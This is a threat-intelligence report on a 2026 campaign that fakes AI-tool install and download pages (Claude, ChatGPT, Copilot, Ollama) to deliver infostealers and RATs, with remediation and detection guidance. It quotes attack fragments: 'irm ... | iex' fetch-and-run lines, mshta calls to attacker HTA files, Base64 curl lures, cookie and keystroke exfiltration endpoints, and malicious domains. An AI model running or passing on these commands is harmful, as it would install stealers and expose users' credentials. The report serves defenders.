Threat reportMalwareTL-2026-3495
Fake AI Tool Campaigns (Claude, ChatGPT, Copilot and others) Deliver Infostealers and RATs to US Organizations
Fake AI Tool Campaigns (Claude, ChatGPT, Copilot and others) (TL-2026-3495), also tracked as InstallFix, is a high-severity malware campaign, first published 2026-10-14. It has no confirmed attribution, affects Multiple (impersonated brands) Windows and macOS endpoints; users of, maps to 12 MITRE ATT&CK techniques (T1053.005, T1059.001, T1059.004), and is covered by 9 detection rules and 35 indicators of compromise.
- Severity
- HIGHAssessed severity
- CVEs
- 0None referenced
- Techniques
- 12MITRE ATT&CK
- Actors
- 0Not attributed
- Detection rules
- 9SPL · KQL · Sigma
- IOCs
- 35Indicators of compromise
Key facts for TL-2026-3495
- Threat ID
- TL-2026-3495
- Also known as
- InstallFix, ClickFix AI-brand lures, Fake AI tools
- Severity
- HIGH
- Status
- ACTIVE
- Category
- MALWARE
- First published
- Last reviewed
- Attribution confidence
- LOW
- Motivation
- FINANCIAL
- Target sectors
- technology, telecoms, education, consulting, manufacturing, health, government administration, finance
- Target regions
- North America, Asia, Global
- Detection rules
- 9
- Indicators of compromise
- 35
Malware and tooling in Fake AI Tool Campaigns (Claude, ChatGPT, Copilot and others)
Malware and tooling: AsyncRAT, Aura Stealer, HijackLoader, MacSync Stealer, Quasar RAT
How Fake AI Tool Campaigns (Claude, ChatGPT, Copilot and others) works
ANY.RUN tracked 1,258 public sandbox analyses (Apr 15 - Oct 5, 2026) of campaigns impersonating AI platforms such as Claude, ChatGPT/Codex, GitHub Copilot, Gemini, Ollama and OpenClaw to deliver infostealers and RATs (Aura Stealer, MacSync Stealer, HijackLoader, AsyncRAT, Quasar RAT). Delivery relies on malvertising, SEO poisoning, shared AI chats/artifacts and fake download pages, with victims tricked into pasting install commands (InstallFix/ClickFix) or signing into fake browser-in-the-browser windows.
Between 2026-04-15 and 2026-10-05, ANY.RUN observed 1,258 public sandbox analyses tied to campaigns impersonating AI products. Claude-themed lures accounted for 601 analyses (48%) and ChatGPT/Codex for 418 (33%). Activity peaked in May 2026 (358 analyses) and stayed above 100 analyses per month from April through September. The USA ranked second by submissions (69 records, 16%) behind India (86, 20%), and ranked first in the fake 'Download Claude' campaign group and in ChatGPT-themed chains. 561 analyses (45%) required the victim to paste a command. Exposure was highest in technology, telecommunications, education, consulting and manufacturing, with healthcare, government and finance also affected. No actor attribution is given by the source.
Five delivery patterns are described. (1) InstallFix (341 analyses): cloned install pages for Claude Code, GitHub Copilot CLI, Codex, Ollama and OpenClaw instruct the victim to run 'irm <lure-domain>/install.ps1 | iex'; the PowerShell then chains to a second 'irm <staging-domain> | iex' (refract3.com), pulling stages from kafeprog7.com or help.xenngypt.com and a stealer payload from GitHub releases. A real Ollama installer was bundled as a decoy. The last full InstallFix chain was seen 2026-09-16. (2) ClickFix / fake 'Download Claude' (220 analyses): cloned download pages on Cloudflare Pages, GitLab Pages, playcode.io and Webflow tell the user to press Win+R and paste a command that runs mshta.exe against an attacker HTA (last-version.install-2026.com), then an encoded PowerShell stage and an infostealer; 38 sessions originated from Google Ads. A fake Cloudflare check on claudedev.net led to a HijackLoader chain. (3) Malicious content on trusted AI platforms (320 analyses): lures embedded in claude.ai artifacts and chatgpt.com shared chats bypass domain-reputation filters; they use Base64-encoded curl commands to /curl/<64-hex> paths (macOS chain via paripassuventures.com delivered MacSync Stealer in 8 of 12 analyses between 2026-08-24 and 2026-09-03), links to a fake 'backup domain' (openai-backup.one), and custom GPT chains routing through Google Sites phishing pages and a PowerShell downloader that fetches from a decimal-encoded IPv4 and installs an MSI (_MouseJiggleStudio.msi) silently via msiexec. (4) Trojanized installers (session-stealing variant): the genuine Claude installer is downloaded while a stager runs in the background, registers with stat30ffooo.xyz, and creates a scheduled task 'mseupdate' that launches headless Microsoft Edge with --remote-debugging-port=9222 and a spoofed 'Google Update 4.3' user agent; cookies, extensions and keystroke data are exfiltrated to /api2.php?method=sendcookjson, sendexts and sendkeys (cookie exfiltration host nucleflowers.xyz). A fake claude-code.exe was identified as Aura Stealer exfiltrating to sys-tools.cfd. (5) Browser-in-the-browser ads phishing (57 analyses): fake Claude Ads, Gemini Ads, Perplexity Ads and Manus beta pages harvest Google credentials via a consistent backend API (POST /api/create/user, POST /api/send/ip, GET /api/checkBan/, GET /api/checkDone/) hosted on Railway and Render with socket.io persistence.
Impact: session theft without MFA, developer workstation compromise (source code, SSH keys, CI/CD tokens, API credentials), and ad/billing account takeover. Persistent backend paths (e.g. /stats-claude-collector.php, /api4.php?method=auth, /api2.php?method=sendcookjson|sendexts|sendkeys, /curl/<64-hex>) outlasted rotating domains and are the most durable hunting pivots. Note: this is a single-vendor primary source (ANY.RUN); the BleepingComputer/eSecurityPlanet reporting on InstallFix against Claude Code (Amatera Stealer payload) is corroborating context from a separate campaign cluster. BeaconBeagle returned no C2 config match for sys-tools.cfd.
MITRE ATT&CK techniques used in TL-2026-3495
Persistence
Execution
T1059.001 PowerShell; T1059.004 Unix Shell; T1204.002 Malicious File; T1204.004 Malicious Copy and Paste
Defense Evasion
T1218.005 Mshta; T1218.007 Msiexec
Credential Access
T1539 Steal Web Session Cookie; T1555.003 Credentials from Web Browsers
Initial Access
Resource Development
Affected products and versions in Fake AI Tool Campaigns (Claude, ChatGPT, Copilot and others)
- Multiple (impersonated brands) — Windows and macOS endpoints; users of Claude, ChatGPT/Codex, GitHub Copilot CLI, Gemini, Ollama, OpenClaw, Perplexity, Manus lookalikes
Vulnerable versions: User-execution social engineering; no software vulnerability
Remediation for Fake AI Tool Campaigns (Claude, ChatGPT, Copilot and others)
Immediate actions
- Block and sinkhole the listed lure, staging, C2 and exfiltration domains at DNS/proxy
- Hunt for 'irm ... | iex', mshta.exe with remote URLs, and powershell -E launched from Win+R/explorer.exe, plus schtasks 'mseupdate' and headless msedge with --remote-debugging-port
- Reset passwords and revoke active sessions/tokens (Google, GitHub, cloud, ad platforms) for any user who ran a pasted command or fake installer
- Alert on web requests to /api2.php?method=sendcookjson|sendexts|sendkeys, /stats-claude-collector.php and /curl/<64-hex>
Workarounds
- Block Win+R / Run dialog via policy for non-admin users where feasible
- Use application allowlisting to block unsigned installers such as copilot_lite.exe and fake setup binaries
- Block ad-served and newly registered domains impersonating AI brands
Longer-term hardening
- Train developers and marketing staff to install AI tools only from vendor-verified documentation and never paste commands from search ads or shared chats
- Enforce phishing-resistant MFA and short session lifetimes / token binding to limit stolen-cookie replay
- Restrict PowerShell (Constrained Language Mode, script block logging) and block mshta.exe where unused
- Deploy EDR with behavioral detection for infostealers and browser credential-store access
- Treat claude.ai artifacts and chatgpt.com shared links as untrusted user content in web filtering policy
Timeline of Fake AI Tool Campaigns (Claude, ChatGPT, Copilot and others)
- Start of ANY.RUN's observation window; fake 'Download Claude' campaign begins appearing in public sandbox analyses
- Peak month (May 2026) with 358 analyses, driven by InstallFix and ChatGPT-themed chains (month-level date)
- Volume remains above 100 analyses per month from July onward (through September)
- MacSync Stealer delivery via claude.ai artifact chain using paripassuventures.com begins (8 of 12 analyses, Aug 24 - Sep 3)
- Last observed MacSync Stealer analysis from the paripassuventures.com macOS chain
- Last observed full InstallFix chain (irm | iex staging to stealer payload)
- ANY.RUN analysis window closes with 1,258 total sandbox analyses
- ANY.RUN publishes 'Fake AI Tools Put US Companies at Risk' report
Sources cited for Fake AI Tool Campaigns (Claude, ChatGPT, Copilot and others)
- Fake AI Tools Put US Companies at Risk: Inside Counterfeit Claude, ChatGPT, and Copilot
- Fake Claude Code install guides push infostealers in InstallFix attacks
- Fake Claude Code Install Pages Spread Infostealer Malware
- Fake Claude Code Spreads Malware to Windows, macOS Users
- MITRE ATT&CK T1204.004 Malicious Copy and Paste
- MITRE ATT&CK T1583.008 Malvertising
- MITRE ATT&CK T1608.006 SEO Poisoning
Detection coverage for TL-2026-3495
As of 2026-10-14, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-3495 across Splunk SPL, Microsoft KQL and Sigma, covering 35 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.